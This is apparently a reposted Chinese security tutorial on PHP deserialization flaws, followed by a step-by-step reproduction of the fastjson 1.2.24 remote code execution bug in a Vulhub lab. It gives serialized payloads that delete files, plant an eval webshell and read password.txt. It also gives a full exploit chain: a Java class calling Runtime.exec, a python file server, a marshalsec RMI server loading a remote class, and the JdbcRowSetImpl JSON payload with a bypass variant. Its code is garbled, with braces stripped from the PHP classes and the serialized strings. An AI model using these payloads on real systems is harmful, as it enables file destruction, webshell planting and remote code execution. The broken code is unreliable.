反序列化漏洞详解
Posted 一句话木马
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了反序列化漏洞详解相关的知识,希望对你有一定的参考价值。
目录
一、什么是序列化和反序列化
序列化是将对象转换为字符串以便存储传输的一种方式。而反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用。在php中序列化和反序列化对应的函数分别为serialize()和unserialize()。
二、什么是反序列化漏洞
当程序在进行反序列化时,会自动调用一些函数,例如__wakeup(),__destruct()等函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。
三、序列化函数(serialize)
当我们在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,用于保存对象的值方便之后的传递与使用。
测试代码
<?php
class Stu
public $name = 'aa';
public $age = 18;
public function demo()
echo "你好啊";
$stu = new Stu();
echo "<pre>";
print_r($stu);
//进行序列化
$stus = serialize($stu);
print_r($stus);
?>
查看结果:
四、反序列化(unserialize)
unserialize()可以从序列化后的结果中恢复对象(object)为了使用这个对象,在下列代码中用unserialize重建对象.
测试代码:
<?php
//定义一个Stu类
class Stu
//定义成员属性
public $name = 'aa';
public $age = 19;
//定义成员方法
public function demo()
echo '你吃了吗';
//实例化对象
$stu = new Stu();
//进行序列化
$stus = serialize($stu);
print_r($stus);
echo "<br><pre>";
//进行反序列化
print_r(unserialize($stus));
?>
查看结果:
五、什么是PHP魔术方法
魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,利用魔术方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。 问题就出现在重载过程中,执行了相关代码。
六、一些常见的魔术方法
- __construct() :构造函数,当创建对象时自动调用。
- __destruct():析构函数,在对象的所有引用都被删除时或者对象被显式销毁时调用,当对象被销毁时自动调用。
- __wakeup():进行unserialize时会查看是否有该函数,有的话有限调用。会进行初始化对象。
- __ toString():当一个类被当成字符串时会被调用。
- __sleep():当一个对象被序列化时调用,可与设定序列化时保存的属性。
七、魔术方法的利用
测试代码:
<?php
class Stu
public $name = 'aa';
public $age = 18;
function __construct()
echo '对象被创建了__consrtuct()';
function __wakeup()
echo '执行了反序列化__wakeup()';
function __toString()
echo '对象被当做字符串输出__toString';
return 'asdsadsad';
function __sleep()
echo '执行了序列化__sleep';
return array('name','age');
function __destruct()
echo '对象被销毁了__destruct()';
$stu = new Stu();
echo "<pre>";
//序列化
$stu_ser = serialize($stu);
print_r($stu_ser);
//当成字符串输出
echo "$stu";
//反序列化
$stu_unser = unserialize($stu_ser);
print_r($stu_unser);
?>
测试结果:
八、反序列化漏洞的利用
由于反序列化时unserialize()函数会自动调用wakeup(),destruct(),函数,当有一些漏洞或者恶意代码在这些函数中,当我们控制序列化的字符串时会去触发他们,从而达到攻击。
1.__destruct()函数
个网站内正常页面使用logfile.php文件,代码中使用unserialize()进行了反序列化,且反序列化的值是用户输入可控 。正常重构Stu对象
测试代码:
<?php
header("content-type:text/html;charset=utf-8");
//引用了logfile.php文件
include './logfile.php';
//定义一个类
class Stu
public $name = 'aa';
public $age = 19;
function StuData()
echo '姓名:'.$this->name.'<br>';
echo '年龄:'.$this->age;
//实例化对象
$stu = new Stu();
//重构用户输入的数据
$newstu = unserialize($_GET['stu']);
//O:3:"Stu":2:s:4:"name";s:25:"<script>alert(1)</script>";s:3:"age";i:120;
echo "<pre>";
var_dump($newstu) ;
?>
logfile.php 代码:
<?php
class LogFile
//日志文件名
public $filename = 'error.log';
//存储日志文件
function LogData($text)
//输出需要存储的内容
echo 'log some data:'.$text.'<br>';
file_put_contents($this->filename, $text,FILE_APPEND);
//删除日志文件
function __destruct()
//输出删除的文件
echo '析构函数__destruct 删除新建文件'.$this->filename;
//绝对路径删除文件
unlink(dirname(__FILE__).'/'.$this->filename);
?>
正常输入参数:O:3:"Stu":2:s:4:"name";s:2:"aa";s:3:"age";i:20;
重构logfile.php文件包含的对象进行文件删除
- 正常重构:O:7:"LogFile":1:s:8:"filename";s:9:"error.log";
发现正常删除,但如果我们修改参数,让其删除其他的文件呢?
- 异常重构:O:7:"LogFile":1:s:8:"filename";s:10:"../ljh.php";
- 执行该代码
2.__wakeup()
例如有一个代码为index.php,源码如下
<?php
class chybeta
public $test = '123';
function __wakeup()
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
$class = @$_GET['test'];
print_r($class);
echo "</br>";
$class_unser = unserialize($class);
// 为显示效果,把这个shell.php包含进来
require "shell.php";
?>
传入参数:?test=O:7:"chybeta":1:s:4:"test";s:19:"<?php phpinfo(); ?>";
查看shell.php文件
也可以传入一句话木马:O:7:"chybeta":1:s:4:"test";s:25:"<?php eval($_POST[1]); ?>";
3.toString()
举个例子,某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo $obj),而且其他类也可能定义了一个类允许 __toString读取某个文件。把下面这段代码保存为fileread.php
fileread.php代码
<?php
//读取文件类
class FileRead
public $filename = 'error.log';
function __toString()
return file_get_contents($this->filename);
?>
个网站内正常页面应引用fileread.php文件,代码中使用unserialize()进行了反序列化,且反序列化的值是用户输入可控 。
测试代码:
<?php
//引用fileread.php文件
include './fileread.php';
//定义用户类
class User
public $name = 'aa';
public $age = 18;
function __toString()
return '姓名:'.$this->name.';'.'年龄:'.$this->age;
//O:4:"User":2:s:4:"name";s:2:"aa";s:3:"age";i:18;
//反序列化
$obj = unserialize($_GET['user']);
//当成字符串输出触发toString
echo $obj;
?>
正常重构:O:4:"User":2:s:4:"name";s:2:"aa";s:3:"age";i:18;
重构fileread.php文件包含的类进行读取password.txt文件内容
重构:O:8:"FileRead":1:s:8:"filename";s:12:"password.txt";
九、反序列化漏洞的防御
和大多数漏洞一样,反序列化的问题也是用户参数的控制问题引起的,所以最好的预防措施:
- 不要把用户的输入或者是用户可控的参数直接放进反序列化的操作中去。
- 在进入反序列化函数之前,对参数进行限制过滤。
fastjson 1.2.24 反序列化导致任意命令执行漏洞 复现详细步骤
记录一下
1、在网上突然发现这个漏洞,就去尝试复现了一下,本次不记录漏洞形成原因,只记载复现
2、首先Fastjson百度了解一下只知道是一个java库,搜寻一下靶场环境搭建,网上大部分的都比较繁琐, 个人推荐可以使用Vulhub搭建是和docker一起使用的官网地址:https://vulhub.org/ (上面有安装详解)
3、环境搭建好之后打开目标(在8090端口)
3、这里唠叨一下,网上大部分,要不就直接给一个payload,要不就是大佬们在研究漏洞成因,(攻击环境搭的我头疼)
其实Vulhub上面有复现步骤,只是菜狗一枚,不懂的太多
4、下面是攻击第一步,先生产一个类文件,(菜如狗的我,只知道是个java文件,怎么编译我一脸懵,搜了三四个小时,还下载了idea),
1)本地安装有java环境
2)新建个txt文件复制代码进去重命名为TouchFile.java
3)cmd进入文件目录运行
javac TouchFile.java
4)你就会发现生成一个class文件
// javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
5、接下来,先安装maven (WIN10)
1)官网:http://maven.apache.org/download.cgi
2)下载apache-maven-3.5.3-bin.zip 并解压
3)添加环境变量
添加 M2_HOME 和 MAVEN_HOME 环境变量到 Windows 环境变量,并将其指向你的 Maven 文件夹
Path环境变量添加 %M2_HOME%\\bin
4)测试
mvn -version
6、把编译好的class文件传到外网系统中。并在class文件所在的目录,使用python开启监听:
python -m SimpleHTTPServer 4444
可以访问验证一下是否开启,是否把class文件放进入
7、然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class
1)项目地址
https://github.com/mbechler/marshalsec
2)项目编译(去项目目录下执行命令)
mvn clean package -DskipTests
3)会生成 marshalsec-0.0.3-SNAPSHOT-all.jar 这样一个文件
4)执行
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://刚class文件的ip或域名/#TouchFile" 9999
8、这个时候攻击环境已经准备就绪了 ,然后直接执行payload就可以了
POST / HTTP/1.1 Host: your-ip:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 160 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://同上类文件地址:9999/TouchFile", "autoCommit":true } }
9、验证是否成功执行
10、如果想执行其它命令,修改最初的java文件重新操作即可
以上是我遇到坑,一步一摔,详细记录下测试步骤,
11、简单看了下Fastjosn1.2.47远程命令执行漏洞,操作步骤合上一样只是利用的函数不一样,从而进行绕过,修改最后payload里函数即可
比如:
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
顺便贴一下自己攻击成功和失败的包
以上是关于反序列化漏洞详解的主要内容,如果未能解决你的问题,请参考以下文章